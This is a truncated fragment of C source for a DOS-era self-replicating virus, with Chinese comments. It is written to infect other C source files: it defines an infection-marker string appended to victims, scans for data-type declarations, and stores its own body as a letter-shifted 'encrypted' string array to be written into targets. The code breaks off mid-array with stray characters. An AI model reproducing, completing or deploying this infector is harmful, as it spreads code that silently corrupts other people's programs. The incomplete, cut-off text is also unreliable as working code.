#include <dir.h> #include <io.h> #include <stdio.h> #include <string.h> main() {
int virus(void); virus(); /*病毒函数*/ } int virus(void) {
struct ffblk ffblk; FILE *fp,*fp2,*fp3,*fp4; int i,j,len,q,r,done=0,flag=1; char line[600],line1[600],ch; char *attack="int wangzhitong(){printf(\"I am coming.\");}"; /*病毒的感染标志,会被写入被感染的源程序后*/ char *check[]={"int","float","char","FILE","static","double","long"}; /*定义要搜索的数据类型*/ char *vir[75]={"jou wjs1()","{","GJMF *gq1,*gq2,*gq3;","jou epof,j=0,k,m,l,n,o,r,qpt_j,gmbh=0,gmbh1=0;", /*vir数组存在的是病毒函数virus(),经过了加密*/ "dibs b[600][100],*q,*q1,*q2;","dibs *c[]={\"jou\",\"dibs\",\"mpoh\",\"epvcmf\",\"tubujd\",\"sfhjtufs\",\"GJMF\"};", "dibs *d=\"nbjo()\";","dibs *difdl=\"#efgjof Gmbh Wjsvt Buubdl\";","dmstds();","jg((gq1=gpqfo(\"e:\\\\ud\\\\9.d\",\"s+\"))==OVMM)", "{","qsjoug(\"fssps.\");& |